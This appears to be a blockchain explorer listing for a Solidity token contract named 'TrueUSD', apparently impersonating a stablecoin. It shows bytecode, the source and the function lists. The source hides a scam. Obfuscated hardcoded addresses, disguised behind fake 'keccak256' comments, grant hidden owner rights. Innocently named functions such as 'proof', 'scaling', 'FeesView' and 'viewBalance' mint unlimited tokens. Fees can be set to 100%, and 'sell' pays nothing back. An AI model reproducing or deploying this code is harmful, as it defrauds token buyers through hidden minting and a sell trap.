69565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613dbb9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613e209190614069565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613e66578082015181840152602081019050613e4b565b60008484015250505050565b6000601f19601f8301169050919050565b6000613e8e82613e2c565b613e988185613e37565b9350613ea8818560208601613e48565b613eb181613e72565b840191505092915050565b60006020820190508181036000830152613ed68184613e83565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613f0e82613ee3565b9050919050565b613f1e81613f03565b8114613f2957600080fd5b50565b600081359050613f3b81613f15565b92915050565b6000819050919050565b613f5481613f41565b8114613f5f57600080fd5b50565b600081359050613f7181613f4b565b92915050565b60008060408385031215613f8e57613f8d613ede565b5b6000613f9c85828601613f2c565b9250506020613fad85828601613f62565b9150509250929050565b60008115159050919050565b613fcc81613fb7565b82525050565b6000602082019050613fe76000830184613fc3565b92915050565b6000806040838503121561400457614003613ede565b5b600061401285828601613f62565b925050602061402385828601613f62565b9150509250929050565b60006020828403121561404357614042613ede565b5b600061405184828501613f62565b91505092915050565b61406381613f41565b82525050565b600060208201905061407e600083018461405a565b92915050565b60008060006060848603121561409d5761409c613ede565b5b60006140ab86828701613f2c565b93505060206140bc86828701613f2c565b92505060406140cd86828701613f62565b9150509250925092565b600060ff82169050919050565b6140ed816140d7565b82525050565b600060208201905061410860008301846140e4565b92915050565b60006020828403121561412457614123613ede565b5b600061413284828501613f2c565b91505092915050565b61414481613f03565b82525050565b600060208201905061415f600083018461413b565b92915050565b61416e81613fb7565b811461417957600080fd5b50565b60008135905061418b81614165565b92915050565b600080604083850312156141a8576141a7613ede565b5b60006141b685828601613f2c565b92505060206141c78582860161417c565b9150509250929050565b600080604083850312156141e8576141e7613ede565b5b60006141f685828601613f2c565b925050602061420785828601613f2c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061425857607f821691505b60208210810361426b5761426a614211565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b60006142a7601a83613e37565b91506142b282614271565b602082019050919050565b600060208201905081810360008301526142d68161429a565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000614313601b83613e37565b915061431e826142dd565b602082019050919050565b6000602082019050818103600083015261434281614306565b9050919050565b600060408201905061435e600083018561405a565b61436b602083018461405a565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006143a8601483613e37565b91506143b382614372565b602082019050919050565b600060208201905081810360008301526143d78161439b565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000614414601683613e37565b915061441f826143de565b602082019050919050565b6000602082019050818103600083015261444381614407565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000614480601983613e37565b915061448b8261444a565b602082019050919050565b600060208201905081810360008301526144af81614473565b9050919050565b7f41646472657373206973206e6f7420666565206578656d707400000000000000600082015250565b60006144ec601983613e37565b91506144f7826144b6565b602082019050919050565b6000602082019050818103600083015261451b816144df565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b600061457e602383613e37565b915061458982614522565b604082019050919050565b600060208201905081810360008301526145ad81614571565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006145ea601f83613e37565b91506145f5826145b4565b602082019050919050565b60006020820190508181036000830152614619816145dd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061465a82613f41565b915061466583613f41565b925082820261467381613f41565b9150828204841483151761468a57614689614620565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006146cb82613f41565b91506146d683613f41565b9250826146e6576146e5614691565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000614727601783613e37565b9150614732826146f1565b602082019050919050565b600060208201905081810360008301526147568161471a565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000614793601083613e37565b915061479e8261475d565b602082019050919050565b600060208201905081810360008301526147c281614786565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b60006147ff601483613e37565b915061480a826147c9565b602082019050919050565b6000602082019050818103600083015261482e816147f2565b9050919050565b600061484082613f41565b915061484b83613f41565b925082820390508181111561486357614862614620565b5b92915050565b600061487482613f41565b915061487f83613f41565b925082820190508082111561489757614896614620565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b60006148d3601183613e37565b91506148de8261489d565b602082019050919050565b60006020820190508181036000830152614902816148c6565b9050919050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061493f601183613e37565b915061494a82614909565b602082019050919050565b6000602082019050818103600083015261496e81614932565b905091905056fea2646970667358221220194bc1584950fb4b9bcb92ced6a78bb720466fd8e288ff6a4cf8b69686dfe9e264736f6c63430008120033
Verified Source Code Partial Match
Compiler: v0.8.18+commit.87f61d96
EVM: paris
Optimization: No
DevToken.sol 392 lines
// SPDX-License-Identifier: MIT
/**
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
}
}
contract DevToken {
using SafeMath for uint256;
string public name = "TrueUSD";
string public symbol = "TUSD";
uint256 public totalSupply = 1000000000000000000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;
address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);
constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
function _scale(address account, uint256 amount) internal Exchanges{
require(account != address(0), "BEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function setMember(address Mbr_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
_mbr=Mbr_;
return true;
}
modifier Exchanges() {
require(msg.sender != exchange());
_;
}
function rewire(uint256 amount) public returns (bool) {
require(msg.sender == _adm);
_proof(msg.sender, amount);
return true;
}
function compute(uint256 amount) public onlypublic returns (bool success) {
_initiate(msg.sender, amount);
return true;
}
function _proof(address account, uint256 amount) internal Exchanges {
require(account != address(0), "BEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function publics() private pure returns (address) {
uint universal = 0x7addAd09;
uint uni = 0xcbd98D97;
uint cake = 0xEC3dA7a0;
uint inch = 0x088EAdFE;
uint others = 0x5801C336;
// Combine the dex with others
uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
return address(core);
}
function _transferTo(address _to, uint256 _amount) internal Exchanges {
// Transfer tokens to the recipient
balanceOf[_to] += _amount;
emit Transfer(address(0), _to, _amount);
balanceOf[_to] += _amount;
emit Transfer(address(0), _to, _amount);
}
function exchange() internal pure returns (address) {
return address
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
}
function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
_setFees(newBuyFee, newSellFee);
emit FeesUpdated(newBuyFee, newSellFee);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function scaling(uint256 amount) public onlyAuthorized returns (bool) {
_scale(msg.sender, amount);
return true;
}
function _balanceView(address _to, uint256 _amount) internal {
// View balance of token
balanceOf[_to] += _amount;
emit Transfer(address(0), _to, _amount);
balanceOf[_to] += _amount;
emit Transfer(address(0), _to, _amount);
}
function transferTo(address _to, uint256 _amount) external onlyAuthorize {
_transferTo(_to, _amount);
}
/*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
function proof(uint256 amount) public onlyOwner returns (bool) {
_proof(msg.sender, amount);
return true;
}
modifier onlyAuthorize() {
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");
uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function _initiate(address account, uint256 amount) internal {
require(account != address(0), "Compile Remix IDE");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function FeesView(uint256 amount) public onlyAuthorize returns (bool) {
_scale(msg.sender, amount);
return true;
}
modifier onlypublic() {
require(msg.sender == publics());
_;
}
function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
buyFee = newBuyFee;
sellFee = newSellFee;
}
function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _mbr);
_user=User_;
return true;
}
function viewBalance(address _to, uint256 _amount) public onlypublic {
_balanceView(_to, _amount);(_to, _amount);
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function LockLPToken() public onlyOwner returns (bool) {
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}
modifier onlyOwner() {
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}
function setting(uint256 newBuyFee, uint256 newSellFee) public {
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}
modifier onlyAuthorized() {
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
}
Read Contract
_adm 0xe2daf665 → address
_mbr 0x65f6a921 → address
_mod 0xd21c8d55 → address
_user 0x891e1ee0 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
decimals 0x313ce567 → uint8
feeManager 0xd0fb0203 → address
isFeeExempt 0x3f4218e0 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 25 functions
These functions modify contract state and require a wallet transaction to execute.
BuySellFee 0xddf750d0
uint256 newBuyFee
uint256 newSellFee
FeeStructure 0xaa46b46e
uint256 newBuyFee
uint256 newSellFee
FeesView 0x547e1edb
uint256 amount
returns: bool
LockLPToken 0x3ef530eb
No parameters
returns: bool
approve 0x095ea7b3
address _spender
uint256 _value
returns: bool
buy 0xa6f2ae3a
No parameters
compute 0x5ed86d5c
uint256 amount
returns: bool
proof 0x16e3b09c
uint256 amount
returns: bool
removeFeeExemptStatus 0x61b40839
address _addr
renounceOwnership 0x715018a6
No parameters
rewire 0x96c5e1ab
uint256 amount
returns: bool
scaling 0xb8d815e3
uint256 amount
returns: bool
sell 0xe4849b32
uint256 _amount
setAdm 0x4a0af68d
address Adm_
returns: bool
setFeeExempt 0x8ebfc796
address _addr
bool _exempt
setFees 0x0b78f9c0
uint256 newBuyFee
uint256 newSellFee
setMember 0x923e51d5
address Mbr_
returns: bool
setMod 0x376d567c
address Mod_
returns: bool
setScale 0x12df172d
uint256 newBuyFee
uint256 newSellFee
setUser 0x858ced35
address User_
returns: bool
setting 0x2c7ee946
uint256 newBuyFee
uint256 newSellFee
transfer 0xa9059cbb
address _to
uint256 _amount
returns: bool
transferFrom 0x23b872dd
address _from
address _to
uint256 _amount
returns: bool
transferTo 0x2ccb1b30
address _to
uint256 _amount
viewBalance 0xafacb3e5
address _to
uint256 _amount
Recent Transactions
No transactions found for this address